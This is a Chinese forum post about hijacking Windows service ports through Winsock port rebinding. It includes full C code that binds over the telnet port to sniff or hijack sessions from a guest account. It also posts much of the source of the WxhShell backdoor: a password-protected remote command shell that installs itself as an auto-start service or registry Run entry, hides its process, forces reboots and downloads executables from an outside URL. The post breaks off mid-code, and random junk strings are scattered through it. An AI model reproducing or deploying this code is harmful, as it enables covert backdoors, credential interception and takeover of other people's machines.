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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: xR _DY'z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); -)<JBs>  
.ZM]%[4  
  saddr.sin_family = AF_INET; WI%zr2T  
eUYG96Jw  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 4U:DJ_GN  
h@ EJTAi  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); <x^IwS  
p {w}  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 N{|[R   
g\E ._ab<  
  这意味着什么?意味着可以进行如下的攻击: f.sPE8 #3=  
0GF%~6  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 s 8C:QC  
UX03"gX  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *pmoLiuB>  
UqY J#&MqY  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 Id; mn}+~  
RiwEuY  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  E\W;:p,{A  
>I{4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 P^i6MZ?   
V>DXV-%&C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 rAtai}Lx  
w}fqs/)w  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 "~B~{ _<j  
+*WUH513  
  #include hn*}5!^  
  #include ':9%3Wq]j  
  #include 'cWlY3%t  
  #include    # r2$ZCo3o  
  DWORD WINAPI ClientThread(LPVOID lpParam);   m/SJ4op$  
  int main() 8.6no  
  { -<u- +CbuT  
  WORD wVersionRequested; }S1Z>ZA5  
  DWORD ret; O(b"F? w  
  WSADATA wsaData; Tq_1wX'\  
  BOOL val; 94S .9A  
  SOCKADDR_IN saddr; $@XPL~4  
  SOCKADDR_IN scaddr; 5VCMpy  
  int err; uMljH@xBc  
  SOCKET s; 2y&_Z^kI?  
  SOCKET sc; UXXqE4x  
  int caddsize; bgkbwE  
  HANDLE mt; ayB=|*Q"  
  DWORD tid;   _:/Cl9~  
  wVersionRequested = MAKEWORD( 2, 2 ); ZP]2/;h  
  err = WSAStartup( wVersionRequested, &wsaData ); 77Q4gw~2U  
  if ( err != 0 ) { ]0at2  
  printf("error!WSAStartup failed!\n"); My`josJ`Pb  
  return -1; zzDNWPzsA  
  } e)fJd*P  
  saddr.sin_family = AF_INET; HPv&vdr3  
   %`t]FV^#  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 *rujdQf  
i!/h3%=  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); I_R5\l}O+D  
  saddr.sin_port = htons(23); 7=9A_4G!  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) HY@kw>I  
  { 8,Q. t7v  
  printf("error!socket failed!\n"); \rB/83[;u  
  return -1; z/Mhu{ttL  
  } 9P,A t8V(  
  val = TRUE; 3(Hj7d7'}  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 \{Ox@   
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) _"FbjQ"  
  { VyBJIzs0  
  printf("error!setsockopt failed!\n"); M9ter&  
  return -1; sWqPw}/3>  
  } tIgCF?  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; $Sc08ro  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KBUAdpU8  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 83p$!8]u  
0e7O#-  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)  h;:Se  
  { @eAGN|C5  
  ret=GetLastError(); Q}k_#w  
  printf("error!bind failed!\n"); ~]m@k'n  
  return -1; dd @COP?  
  } qW`XA  
  listen(s,2); .$}Z:,aB  
  while(1) <Bob#Tf ~  
  { .3g\[p   
  caddsize = sizeof(scaddr); GSUOMy[M-  
  //接受连接请求 .wt>.mUH  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); XQ+-+CD  
  if(sc!=INVALID_SOCKET) 9>} (]T  
  { !Ed<xG/  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ?$`1%Y9  
  if(mt==NULL) KqG$zC^N  
  { 7oqn;6<[>,  
  printf("Thread Creat Failed!\n"); c=jTs+h'  
  break; ,i$(yx?  
  } )KTWLr;  
  } nFf\tf%8  
  CloseHandle(mt); Sf.8Ibw  
  } p0:&7,+a,  
  closesocket(s); 4u{E D(  
  WSACleanup(); Cx1Sh#9  
  return 0; z!t3xFN&/  
  }   cE_Xo.:Y,  
  DWORD WINAPI ClientThread(LPVOID lpParam) :Z7"c`6L!~  
  { JXI+k.fi  
  SOCKET ss = (SOCKET)lpParam; D3ZT''  
  SOCKET sc; iX9[Q0g=oQ  
  unsigned char buf[4096]; +2_6C;_DX  
  SOCKADDR_IN saddr; gP_d >p:b  
  long num; v=yI#5  
  DWORD val; Rp4BU"&sU  
  DWORD ret; !MG>z\:  
  //如果是隐藏端口应用的话,可以在此处加一些判断 L{o >D"  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   +'YSpJ  
  saddr.sin_family = AF_INET; ZCOuv6V+  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Vms7 Jay  
  saddr.sin_port = htons(23); a\HtxR8L  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) H?zCIue3  
  { {H7$uiq3:B  
  printf("error!socket failed!\n"); KH6n3\=  
  return -1; 7HR%rO?'  
  } 7=M'n;!Mh  
  val = 100; 7+2aG  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) *F4G qX3  
  { +XaO?F[c  
  ret = GetLastError();   _c7  
  return -1; ~]t2?SqNm  
  } yI)RG OV  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) `- uZv  
  { (^@;`8Dy8  
  ret = GetLastError(); 3\U,Kg  
  return -1; ?U.&7yY  
  } e^l+ #^fR  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) N4GIb 6  
  { uzn))/"  
  printf("error!socket connect failed!\n"); JXa%TpI: E  
  closesocket(sc); N6 }i>";_;  
  closesocket(ss); h}VYA\+<B  
  return -1; jJ{ w -$  
  } _tauhwu  
  while(1) (L6]uNOG  
  { W2o8Fu   
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 f+W[]KK*PW  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 PTV`=vtj  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 [2fiHE  
  num = recv(ss,buf,4096,0); x@bl]Z(ne/  
  if(num>0) V~^6 TS(  
  send(sc,buf,num,0); DuC u6j  
  else if(num==0) @OL3&R  
  break; MsiC!j.-  
  num = recv(sc,buf,4096,0); Zo638*32  
  if(num>0) tZ{q\+h  
  send(ss,buf,num,0); |(8Hk@\CT>  
  else if(num==0) )bN3-_  
  break; cd%g]T)#1  
  } 4>tYMyLt0  
  closesocket(ss); 5<GRi "7A@  
  closesocket(sc); <?va) ou  
  return 0 ; L5N{ie_  
  } a*wJcJTpV"  
x jUH<LFxy  
-"^WDs  
========================================================== OQb9ijLeK  
O=?X%m #  
下边附上一个代码,,WXhSHELL y.]]V"'2  
|h~/Zz=  
========================================================== /v ;Kb|e  
a0W\?  
#include "stdafx.h" )cmLo0`$  
kp>Z/kt  
#include <stdio.h> M>z7H"jCu  
#include <string.h> Q1&dB{L  
#include <windows.h> aiX;D/t?  
#include <winsock2.h> r`"#c7)  
#include <winsvc.h> S/:QVs  
#include <urlmon.h> e ~,'|~ C5  
s/&]gj "  
#pragma comment (lib, "Ws2_32.lib") &^D@(m7>{K  
#pragma comment (lib, "urlmon.lib") I!0 +RP(  
GpQF * x  
#define MAX_USER   100 // 最大客户端连接数 :H8L(BsI  
#define BUF_SOCK   200 // sock buffer g[+Q~/yq  
#define KEY_BUFF   255 // 输入 buffer /F9lW}pd  
7wEG<,D  
#define REBOOT     0   // 重启 D\&y(=fzf  
#define SHUTDOWN   1   // 关机 WMl^XZO  
/Gv$1t^a  
#define DEF_PORT   5000 // 监听端口 HnY"6gTNK  
DczF0Ow  
#define REG_LEN     16   // 注册表键长度 ]mT} \b  
#define SVC_LEN     80   // NT服务名长度 A =#-u&l  
?{P6AF-xcf  
// 从dll定义API 4W-+k  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 1E_Ui1[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); g~D6.OZU  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Gv3Fg[MA@c  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /g7?,/vnZ  
TFA  
// wxhshell配置信息 uiEA=*axp  
struct WSCFG { /<pQ!'/G  
  int ws_port;         // 监听端口 ]@}BdMlHp  
  char ws_passstr[REG_LEN]; // 口令 )P+GklI{4  
  int ws_autoins;       // 安装标记, 1=yes 0=no 3NZFW{u  
  char ws_regname[REG_LEN]; // 注册表键名 1 b%7FrPkd  
  char ws_svcname[REG_LEN]; // 服务名 R'HA>?D  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 =9@yJ9c-  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 '*Mb .s"  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 mnaD KeA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no O}!@28|3"  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" O9&:(2'f  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z_WTMs:x!  
G")EE#W$}  
}; y%l#lz=6  
?bDae%>.d,  
// default Wxhshell configuration G QBN-Qv  
struct WSCFG wscfg={DEF_PORT, jz:c)C&/  
    "xuhuanlingzhe", ryLNMh  
    1, g'7hc~=  
    "Wxhshell", l#.,wOO{  
    "Wxhshell", RteTz_ z{  
            "WxhShell Service", |Cq J2  
    "Wrsky Windows CmdShell Service", eH*b -H[  
    "Please Input Your Password: ", -)+DVG.t  
  1, l<%~w U  
  "http://www.wrsky.com/wxhshell.exe", <s3(   
  "Wxhshell.exe" n{ WJ.Y*  
    }; 9?,.zc^  
z5'nS&x  
// 消息定义模块 Z-!T(:E]  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [&s:x ,  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ; O0rt1  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; -RDs{c`y%N  
char *msg_ws_ext="\n\rExit."; @ &yj7-]  
char *msg_ws_end="\n\rQuit."; bj{f[nZ d  
char *msg_ws_boot="\n\rReboot..."; _\;# a  
char *msg_ws_poff="\n\rShutdown..."; ?tQv|x  
char *msg_ws_down="\n\rSave to "; rL"k-5>fd  
=)5a=^ 6  
char *msg_ws_err="\n\rErr!"; @23x;x  
char *msg_ws_ok="\n\rOK!"; =6YO!B>7  
3mz>Y*^?0  
char ExeFile[MAX_PATH]; Yk&{VXU<  
int nUser = 0; l);8y5  
HANDLE handles[MAX_USER]; M oHvXp;X  
int OsIsNt; ') y~d  
)KQum`pO  
SERVICE_STATUS       serviceStatus; ~riw7"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; Ih"Ol(W  
H;&t"Ql.  
// 函数声明 .w)t<7 y  
int Install(void); %;?3A#  
int Uninstall(void); Z`t?kXDNoI  
int DownloadFile(char *sURL, SOCKET wsh); 1=.kH[R  
int Boot(int flag); 6LQO>k  
void HideProc(void); ZfikNQU9r  
int GetOsVer(void); C;>Ll~f_  
int Wxhshell(SOCKET wsl); RtL'fd  
void TalkWithClient(void *cs); _3[BS9  
int CmdShell(SOCKET sock); 6s2g+[  
int StartFromService(void); Ma#-'J  
int StartWxhshell(LPSTR lpCmdLine); pjM|}i<'Q  
5C?1`-&65V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); :h~!#;w_  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); <2d@\"AoHE  
Ij_`=w<  
// 数据结构和表定义 3zHiu*2/!  
SERVICE_TABLE_ENTRY DispatchTable[] = gv-k}2u_  
{ s'4p+eJ  
{wscfg.ws_svcname, NTServiceMain}, KIJ[ cIw  
{NULL, NULL} Hm*#HT%#  
}; ;d40:q<  
 cf!R  
// 自我安装 c Zr4  
int Install(void)  Z.JTq~`I  
{ KZNyp%q  
  char svExeFile[MAX_PATH]; SiT &p  
  HKEY key; Pc1N~?}.  
  strcpy(svExeFile,ExeFile); :[3\jLrc  
c*Nbz,:  
// 如果是win9x系统,修改注册表设为自启动 T7'$A!c  
if(!OsIsNt) { UMaKvr-C&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { KW<CU'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Um<vsR  
  RegCloseKey(key); -Ma"V  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { tEs$+b  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZeZwzH)BD  
  RegCloseKey(key); =T]OYk  
  return 0; ")OLmkC  
    } p.|; k%c7  
  } _: K\v8  
} CG;D(AWR;  
else { A>puk2s  
,V?,I9qf  
// 如果是NT以上系统,安装为系统服务 (C%'I  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); i$bBN$<b<  
if (schSCManager!=0) H_FhHX.2(  
{ 8 Hn{CJ~'  
  SC_HANDLE schService = CreateService Q<pM tW  
  ( +n dyR  
  schSCManager, r N7"%dx  
  wscfg.ws_svcname, D6WsEd>  
  wscfg.ws_svcdisp, \2!$HA7P  
  SERVICE_ALL_ACCESS, <~OyV5:6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ND>}t#^$  
  SERVICE_AUTO_START, _#:1Axx1  
  SERVICE_ERROR_NORMAL, }d(6N&;"zN  
  svExeFile, u@B"*V~K  
  NULL, ]'q<wPi  
  NULL, YBP{4Rl  
  NULL, pxj"<q`nw8  
  NULL, W% ud nJ  
  NULL _?ZT[t<  
  ); 7@?b _  
  if (schService!=0) tDo0Q/`  
  { BR'|hG  
  CloseServiceHandle(schService); ~7 Tz Ub  
  CloseServiceHandle(schSCManager); 0"N %Vm  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); w6_}] &F  
  strcat(svExeFile,wscfg.ws_svcname); L;[*F-+jD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { guvQISQlY  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); d}Om?kn  
  RegCloseKey(key); b}:Z(L,\  
  return 0; (L1`]cp  
    } _f`m/l  
  } nq=fSK(  
  CloseServiceHandle(schSCManager); YaU A}0cW  
} 6_Kz}PQ  
} J"y@n ~*0  
+,lD_{}_  
return 1; LHb{9x  
} U VT8TN-T  
! bp"pa9  
// 自我卸载 qJ@?[|2R  
int Uninstall(void) $H^6I8>  
{ k$UBZ,=iC  
  HKEY key; ?HY0@XILI  
dQ[lXV[}v  
if(!OsIsNt) { *u }):8=&R  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { }W<L;yD  
  RegDeleteValue(key,wscfg.ws_regname); mI# BQE`p6  
  RegCloseKey(key); B.?yHaMI[  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { iJi|*P5dw  
  RegDeleteValue(key,wscfg.ws_regname); m_B5M0},  
  RegCloseKey(key); L*z;-,  
  return 0; hk I$ow(  
  } aI{[W;43T  
} J:5n/m^A  
} gT.-Cf{  
else { o;.-I[9h]  
}/VHeHd  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); v09f#t$;5  
if (schSCManager!=0) oZ}e w!V  
{ g:Dg?_o  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); D&shrKFx  
  if (schService!=0) m{*l6`dF  
  { 61'7b`:(hi  
  if(DeleteService(schService)!=0) { ?,j:Y0l.L  
  CloseServiceHandle(schService); !4E:IM63  
  CloseServiceHandle(schSCManager); <7GK *I  
  return 0; jK=[   
  } {x8`gP\H  
  CloseServiceHandle(schService); XP7A.I#q0  
  } 0\+Qi?&  
  CloseServiceHandle(schSCManager); ? _W*7<  
} z+b~#f3  
} 181P;R=}<  
i"'k|TGW^  
return 1; ^6*? a9jO>  
} CqoL5qt  
PT;$@q8  
// 从指定url下载文件 EY>A(   
int DownloadFile(char *sURL, SOCKET wsh) '.=Z2O3p  
{ L8W3Tpi&(  
  HRESULT hr; `G'V9Xs(  
char seps[]= "/"; vZ08/!n  
char *token; 4Z_.Jdu w  
char *file; >b?,zWiw  
char myURL[MAX_PATH]; ^{s)`j'I*  
char myFILE[MAX_PATH];  lcr=^  
)oj`K,#  
strcpy(myURL,sURL); rLwc=(|  
  token=strtok(myURL,seps); `# R$  
  while(token!=NULL) #'T|,xIr-Q  
  { /$n${M5!  
    file=token; 1Jahu!c?  
  token=strtok(NULL,seps); 8.,PgS  
  } SBEJ@&iB~  
nXN0~,+  
GetCurrentDirectory(MAX_PATH,myFILE); eYagI  
strcat(myFILE, "\\"); ;cO0Y.V9l  
strcat(myFILE, file); >eC^]#c  
  send(wsh,myFILE,strlen(myFILE),0); {b?)|@)is  
send(wsh,"...",3,0); /EC m  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); _ReQQti[  
  if(hr==S_OK) "K8qmggTq  
return 0; !-QKh aY  
else 1)r1/0  
return 1; ,y0kzwPR1  
;#;X@BhS  
} V><P`  
y?rsfIth`  
// 系统电源模块 s#Le`pGoW  
int Boot(int flag) Ev()2 80  
{ 0`x<sjG\q  
  HANDLE hToken; ecHy. 7H  
  TOKEN_PRIVILEGES tkp; ?eu=0|d  
3]!(^N>V  
  if(OsIsNt) { r[gV`khka  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); .,c8cq?  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); ;7hf'k  
    tkp.PrivilegeCount = 1; rdK.*oT  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; PQfx0n,  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); C{c (K!  
if(flag==REBOOT) { :70oO}0m.  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u4S3NLG)  
  return 0; H`y- "L8q  
} D1w_Vpz  
else { :>,d$f^tqE  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 3{%/1>+x5  
  return 0; D\k);BU~  
} Ki'EO$  
  } @1>83-p"X  
  else { ';1 c  
if(flag==REBOOT) { q%JV"9,  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) YFW+l~[#  
  return 0; MVdE7P  
} YB 4R8}4  
else { q)P<lKi  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) $/D@=P kc  
  return 0; _ pJU~8  
} qYpHH!!C=  
} C }!$'C|  
^)SvH  
return 1; GJ*AyYG  
} 'C[gcp  
{ng  
// win9x进程隐藏模块 Jjy}m0)#W_  
void HideProc(void) ^=tyf&"  
{ 6sPd")%G  
l/TH"z(  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); We" "/X  
  if ( hKernel != NULL ) |sI^_RdBv  
  { )N}xKw|  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); bDr'W   
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `xtN+y F  
    FreeLibrary(hKernel); c`iSe$eS  
  } .D7\Hao  
p0@iGyd  
return; rf9RG!  
} i P/I% D  
*kDXx&7B$  
// 获取操作系统版本 uZqo"  
int GetOsVer(void) x$Lt?'  
{ ]$z~;\T  
  OSVERSIONINFO winfo; <cl$?].RE!  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ]AN)M>  
  GetVersionEx(&winfo); _]<]:b  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A$-{WN.W  
  return 1;  Pg`^EJ+  
  else 6!bf,T]  
  return 0; t rHj7Nw  
} i1/FNem  
I&^?,Fyy<  
// 客户端句柄模块 5B(|!Xq;I  
int Wxhshell(SOCKET wsl) NoPM!.RU{  
{ ^c=@2#^\  
  SOCKET wsh; p>MX}^6  
  struct sockaddr_in client; !D  
  DWORD myID; 'dx4L }d  
H\O|Y@uVr  
  while(nUser<MAX_USER) !x,3k\M  
{ MxCs0::w  
  int nSize=sizeof(client); -5E<BmM  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); FMR0?\jnT  
  if(wsh==INVALID_SOCKET) return 1; E P<U:F  
:\.v\.wm  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); `_f3o,5  
if(handles[nUser]==0) H#1/H@I#  
  closesocket(wsh); C#gQJ=!B  
else Wve ^2lkoK  
  nUser++; wv1?v_4  
  } /1O6;'8He  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ~ 9'64  
UH[ YH;3O  
  return 0; <q_H 3|  
}  s cn!,  
^6Xio6W  
// 关闭 socket `RjcJ?r  
void CloseIt(SOCKET wsh) \0b ",|"3  
{ IQH;`+  
closesocket(wsh); 5xRh'Jkyb  
nUser--; wl! 'Bck=  
ExitThread(0); EK#w: "  
} FL`. (,  
RRV&!<l@$  
// 客户端请求句柄 ;E*ozKpm  
void TalkWithClient(void *cs) J,E&Uz95%  
{ FCI38?`%  
U:`rNHl  
  SOCKET wsh=(SOCKET)cs; >;HXH^q  
  char pwd[SVC_LEN]; (/uL6W d0  
  char cmd[KEY_BUFF]; %,>,J`  
char chr[1]; |FKo}>4  
int i,j; v}iJ :'  
#ReW#?P%b/  
  while (nUser < MAX_USER) { =r GkM.^  
YXBS!89m  
if(wscfg.ws_passstr) { $-o39A#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); G"J6X e  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); I2zSoQ1P  
  //ZeroMemory(pwd,KEY_BUFF); :CH'Bt4<  
      i=0; {Q4=GrS  
  while(i<SVC_LEN) { J,IOp-  
^up*KQ3u\  
  // 设置超时 IMVoNKW-  
  fd_set FdRead; ^\x PF5  
  struct timeval TimeOut; C8(sH@  
  FD_ZERO(&FdRead); V @8X .R>  
  FD_SET(wsh,&FdRead); y*zZ }>  
  TimeOut.tv_sec=8; <KJ18/  
  TimeOut.tv_usec=0; iPHMyxT+S  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J_`.w  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); |4dNi1{Zd  
bk5~t'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); -'ZP_$sA  
  pwd=chr[0]; !WDdq_n*v  
  if(chr[0]==0xd || chr[0]==0xa) { CIV6 Qe"<  
  pwd=0; 2b!b-  
  break; G-rN?R.  
  } QAu^]1;  
  i++; k"AY7vq@!P  
    } 'X`\vTxB  
hI/p9 `w  
  // 如果是非法用户,关闭 socket \)r#?qn4z;  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Gew0Y#/  
} _)^(-}(_D  
 6W3}6p  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 2Q<_l*kk(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); FSH6C2  
`L:wx5?  
while(1) { f!1K GP  
u,&Z5S  
  ZeroMemory(cmd,KEY_BUFF); W+Iln`L  
@Wdnc/o]  
      // 自动支持客户端 telnet标准   k ^+h>B-;  
  j=0; .]8 Jeb  
  while(j<KEY_BUFF) { 5*ABw6'6  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P^&+ehp  
  cmd[j]=chr[0]; =niU6Q}  
  if(chr[0]==0xa || chr[0]==0xd) { D b(a;o   
  cmd[j]=0; 8whjPn0  
  break; 7_A(1Lx/l7  
  } a)} ?rzT]  
  j++; :%s9<g;-h_  
    } GT'%HmQI  
A(<- U|  
  // 下载文件 ~lQ]PKJ"  
  if(strstr(cmd,"http://")) { ]\Ez{MdAT  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); mz/KGZ5t  
  if(DownloadFile(cmd,wsh)) |n]^gTJt  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); n) `4*d$`  
  else 6s>PZh  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Qza[~6  
  } 8B\,*JGY2  
  else { 3):7mE(  
qB"y'UW8  
    switch(cmd[0]) { i"_JF-IbN  
  r\L:JTZ$  
  // 帮助 0z\=uQ0  
  case '?': { 23+>K  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 40+E#z)  
    break; 48w3gye  
  } m@"!=CTKd  
  // 安装 M*@MkN*u&  
  case 'i': { e?F r/n  
    if(Install()) X/'B*y'=U  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 5MiWM2"X\  
    else LgB}!OLQ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); q-p4k`]  
    break; R:OoQ^c  
    } 6eQrupa  
  // 卸载 T*'5-WV|3t  
  case 'r': { =g?r.;OO  
    if(Uninstall()) Hs2L$TX  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); d6~wJMFl  
    else H2|w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 69rVW~Z  
    break; US4X CJxB  
    } oSE'-8(  
  // 显示 wxhshell 所在路径 @p}H@#/u\  
  case 'p': { 92eS*x2@  
    char svExeFile[MAX_PATH]; A:k`Ykr[  
    strcpy(svExeFile,"\n\r");  #]n[  
      strcat(svExeFile,ExeFile); TS@EE&Wq  
        send(wsh,svExeFile,strlen(svExeFile),0); NcqE)"yObo  
    break;  vUJb-  
    } {:fyz#>>^  
  // 重启 -cJ(iz9!  
  case 'b': { Fa@#nY|UV3  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); &a1agi7M  
    if(Boot(REBOOT)) A@&+!sO  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +Hv%m8'0|  
    else { Pq;1EI  
    closesocket(wsh); +X.iJ$)  
    ExitThread(0); ZH.l^'(W  
    } Z=n& fsE  
    break; /V:%}Z  
    } KvC:(Vqj  
  // 关机 C\E Z8  
  case 'd': { \:^$ZBQr<n  
